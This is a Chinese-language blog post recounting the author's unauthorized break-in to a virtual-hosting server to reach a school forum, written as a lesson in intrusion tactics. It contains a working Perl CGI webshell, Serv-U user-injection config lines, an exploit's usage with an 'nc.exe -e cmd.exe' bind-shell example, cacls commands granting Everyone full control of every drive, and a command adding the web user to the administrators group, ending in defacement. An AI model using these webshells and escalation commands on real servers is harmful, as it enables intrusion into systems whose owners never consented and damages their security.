攻擊防守的思路

 

  本文的技術並不是最新的,涉及到的技術含量也不是很多,重要的是其中的滲透思路

  終於高中畢業了,一定要在暑假努力學習,發奮學習,以前入侵少之又少,都是研究這樣研究那樣,實戰經驗太欠缺了,所以決定暑假惡補一下滲透技術,順便又可以看看國內主機的安全性。暑假 6 月整整學習了一個月的滲透,從 xiaolu 身上學習到不少好的思路和經驗。在此謝謝 xiaolu 了。

  一個多月的時間裏,滲透過上百臺服務器,有獨立的,有虛擬主機的,有羣組的,有國內和國外,我發現一個極其嚴重的問題,國外的服務器,普遍安全性都非常高,管理員的安全意識非常高,做個比例,如果國內平均每 10 臺服務器,能滲透進去 6 臺甚至更多,那國外、臺灣的,平均每 10 臺服務器僅僅能滲透 1 臺。當然我的水平也是一個問題。可是卻反映出國內的管理員的水平的的確確比國外的要差幾個檔次。國內的管理員的技術和意識,迫切需要大幅度提高。

  不過國內的也有比較 BT 的管理員,我就遇見幾個服務器設置得非常。其中一個的 Documents and Settings 目錄下還有 nsfocus 目錄,難道是 nsfocus 公司幫做的安全?這個服務器我們沒有拿下,還有另外一個,就是今天的重點。

  一次看見了一個學校論壇(http://www.*****.com),還蠻火爆的,頓時興趣來了, ping 了一下,發現 4 個包都返回 Request timed out. 估計是搞了策略或者防火牆的,象我這種以 Web 安全的,自然喜歡從站點上找漏洞,自從學習 Web 開始,我就落下一個怪癖,就是如果實在從 Web 上找不到什麼漏洞,寧願放棄也不用什麼漏洞掃描器。

  大概看了看站點。就是一個論壇,採用 LeadBBS ,拿這個論壇沒轍,還有其他辦法,因爲剛纔我訪問這個 IP ,返回"No web site is configured at this address.",初步判斷是虛擬主機,前段時間那幾個黑站狂黑站的成功機率爲什麼這麼高?因爲有 http://whois.webhosting.info 這個網站,可以查詢一個 IP 上,綁定了多少個域名。如果真的是虛擬主機,這個學校論壇沒有漏洞,不代表其他站點就沒有,很快的,我就通過一個小公司站點( http://***.anyhost/ )上的 DVBBS 6.0 傳了一個 aspshell 上去,誰知道僅僅能夠對自己的目錄進行操作。而且自己的目錄沒有執行程序的權限,又用不了 Nfso ,手工跳轉 URL 中的目錄,也沒有多少個可以瀏覽的,重要的 Program Files 和 Documents and Settings 目錄都看不了,從 aspshell 反饋的信息來看,每個站點都設置了單獨的用戶,似乎一切都陷入僵局。

  沒有目的的跳轉目錄着......

  我習慣性的在 URL 跳轉到 c:/php,沒想到居然可以看見了,那這個主機很可能就會支持 php 了,馬上傳了一個 phpspy 上去,非常幸運,順利看到了登陸入口,可是沒想到進入以後才發現,php.ini 亦設置得異常 BT,安全模式打開了, phpinfo 函數也被禁用了,看不了詳細的系統信息,不過看 phpspy 自帶的探針可以發現,allow_url_fopen、display_errors、 register_globals 統統關閉,system、passthru、exec、shell_exec 幾個函數都無一倖免的被禁用了,直接跳轉目錄還是隻可以看到這些目錄而已,各個站點的目錄都是類似於 "D:/websites/school.com#dlfjurdlkfjk" 這樣的,每個站點目錄後面的那些字符串都不一樣,也跳轉不到,後來我猜測後面的字符串就是 ftp 密碼,試驗了一下,無法登陸,看似柳暗花明,希望又破滅了......

  結束了嗎?不,我試着 FTP 一下:

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-2000 Microsoft Corp.

C:/Documents and Settings/Administrator>ftp www.*****.com
Connected to www. school.com.
220 Welcome to FTP Server...
User (www.***.com:(none)):
331 User name okay, need password.
Password:
530 Not logged in.
Login failed.
ftp> bye
221 Goodbye!
 
  從返回的信息判斷,我們還是有希望的。儘管他修改了 FTP Server 的 Banner,但是從 User name okay, need password. 這句我們還是大膽的判斷這個服務器就是採用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升權限的 Exploit ,如果我能傳一個上去,並且能夠執行,一切就明朗了。再仔細想想有哪個目錄可以寫的?當時在 c:/php 目錄下沒有發現 sessiondata 目錄,而且也不是自動安裝版,估計管理員把 session 的目錄換到其他地方了,不然這個目錄是 everyone 可寫的......

  原來我還忘記了一個最重要的目錄, C:/Documents and Settings/All Users ,從這個目錄可以知道很多信息,這個目錄一般、至少都是 everyone 可讀的,這樣我們就可以知道好多有用的信息了,直接通過我的 aspshell 手工跳轉到這個目錄,呵呵。馬上看到了想看的目錄樹。

Application Data
Documents
DRM
Favorites
Templates
「開始」菜單
桌面


  馬上試試建目錄,可惜裏面的目錄包括子目錄都無法新建, BT 管理員權限設置得還真嚴格,不過我們還是有收穫的,那就是 "C:/Documents and Settings/All Users/ 「開始」菜單 / 程序 /"目錄裏,看到了很多決定結果的有用信息,

ActiveState ActivePerl 5.8
Administrative Tools
Deerfield.com
DTemp
IPSentry
MBM 5
NetMeter
Network ICE
Persits Software AspEmail
Persits Software AspJpeg
Serv-U FTP Server
Symantec Client Security
Windows 優化大師
WinRAR
啓動
管理工具
附件
 
  呵呵,現在我們知道了好多有用的信息了,看着這些東西,可以看得出管理員對安全、效率很在意,裝了 Perl,也就是說可能支持 cgi 了, IPSentry 這個可以實時檢測網站的各類服務, 當某服務停止時, 該軟件會打 Pager, 或 EMAIL,或發聲,或運行其它軟件來提醒管理員,確保服務器出現問題能及時處理,說明管理員比較負責任,NetMeter 可以對網絡流量進行監控,裝了黑冰防火牆和諾頓殺毒服務器版,說明管理員對於服務器的安全是很小心的,這還不算,還裝了另外一個防火牆——VisNetic Firewall,真是 BT 到家了,裝了優化大師,看得出這個管理員還是比較愛清潔的。從管理工具裏面我們還看到了終端服務客戶端生成器.lnk 、終端服務配置.lnk ,還有終端服務,這下好了,說不定順利就可以多一臺 3389 肉雞了。

  先通過 aspshell 下載 Serv-U 的任意一個快捷方式,然後本地查看屬性的目標,呵呵,原來 Serv-U 的目錄是 "C:/Program Filesewfq4qrqtgy4635/Serv-U/" ,這下好了,直接跳轉目錄。OH~,yes~~,看到了,馬上修改 ServUDaemon.ini文件,這個服務器居然放了 280 個用戶,狂暈......不管了,先在添加 [Domain1] 里加一行:

User281=angel|1|0
 
  然後加上

[USER=angel|1]
Password=ng98F85379EA68DBF97BAADCA99B69B805
HomeDir=D:/websites
RelPaths=1
TimeOut=600
Maintenance=System
Access1=D:/websites|RWAMELCDP
SKEYValues=

  添加一個 angel,密碼爲 111111 的用戶,具有最高權限執行,然後我們就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中......

  不過殘酷現實再一次粉碎了我的計劃,修改好文件以後提交,居然是沒有修改成功,看來還是權限,權限權限整慘人啊。

  不過還是有希望的,因爲剛纔我們看到了系統裝了黑冰,有些版本存在"ISS RealSecure/BlackICE 協議分析模塊 SMB 解析堆溢出漏洞",可以遠程利用的,手頭上沒有編譯器,沒有辦法編譯代碼。

  還有就是 Perl,這個是個很大的突破口,因爲 Perl 目錄一般要 erveryone 完全控制的,不管他用 isap 還是 perl.exe 一般都是可寫、可執行的,馬上下載 Perl 的快捷方式來看看路徑,呵呵,看到了,原來 D:/user/bin 就是存放 perl 的 bin 目錄下的所有文件,這麼說這個目錄可能可以寫,也可能可以執行咯,馬上傳一個 su.exe(針對目前所有版本的 Serv-U 本地提升權限漏洞)上去,呵呵,傳上去了,太好了,現在就是執行了,剛纔我們試了 aspshell、phpshell 都不行,現在就看最後的希望了,找呀找啊,終於在我硬盤上找到一個 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代碼如下:

#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html/r/n/r/n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f////ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>/r/n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "/r/n</PRE></HTML>/r/n", 17);
close(STDERR);
close(STDOUT);
exit;


  我用過最好的 cgishell ,保存爲一個 cgi 文件執行,暈......居然不支持!一陣陣鬱悶襲來,2 秒鐘的鬱悶後,想到還有一線希望,那就是pl ,我們還沒有試試 pl 擴展呢,把剛纔的 cgi 文件改爲 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!

  顯示"拒絕訪問",終於可以執行了!太興奮了,馬上提交:

  返回: Serv-u >3.x Local Exploit by xiaolu

USAGE: serv-u.exe "command"

Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"

  嘻嘻~~現在是 IUSR 權限,那又怎麼樣?看你這次還不死?提交:

http://anyhost//cmd.pl?d:/user/bin/su.exe "cacls.exe c: /E /T /G everyone:F"

http://anyhost//cmd.pl?d:/user/bin/su.exe "cacls.exe d: /E /T /G everyone:F"

http://anyhost//cmd.pl?d:/user/bin/su.exe "cacls.exe e: /E /T /G everyone:F"

http://anyhost//cmd.pl?d:/user/bin/su.exe "cacls.exe f: /E /T /G everyone:F"
 
  返回下面的信息,就表示成功了!!!

Serv-u >3.x Local Exploit by xiaolu

<220 Serv-U FTP Server v5.2 for WinSock ready...

>USER LocalAdministrator

<331 User name okay, need password.

******************************************************

>PASS #l@$ak#.lk;0@P

<230 User logged in, proceed.

******************************************************

>SITE MAINTENANCE

******************************************************

[+] Creating New Domain...

<200-DomainID=2

<220 Domain settings saved

******************************************************

[+] Domain xl:2 Created

[+] Creating Evil User

<200-User=xl

200 User settings saved

******************************************************

[+] Now Exploiting...

>USER xl

<331 User name okay, need password.

******************************************************

>PASS 111111

<230 User logged in, proceed.

******************************************************

[+] Now Executing: cacls.exe c: /E /T /G everyone:F

<220 Domain deleted

******************************************************
 
  每提交完一次都稍微等一下,因爲這些命令需要時間處理的,不一會兒,就把所有分區設置爲 everyone 完全控制了,可以任意操作硬盤的東西了,但是有些命令還是受了限制,因爲權限還沒有提升,現在我們把自己的用戶提升爲管理員:

http://anyhost//cmd.pl?d:/user/bin/su.exe " net localgroup administrators IUSR_anyhost /add"
 
  現在我們通過 web 方式,執行的命令就是以 administrator 的身份執行的了,相信到這裏,下面的事該做什麼,大家應該知道了吧?馬上找到那個學校的目錄,進去咯~~目的達到了,本來還想做一個 3389 的肉雞的,想想算了,這種 BT 管理員的地盤,我也佔領不了多久,留點提示到他的桌面就 over 了。

  說真的,搞安全這麼久,從來沒有遇見這麼棘手的虛擬主機,要不是裝了 Perl,還真是束手無策!本文技術含量不高,只是分享一下希望其中的思路,如果有一個人從中受益,這篇文章就完成它的使命了。

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章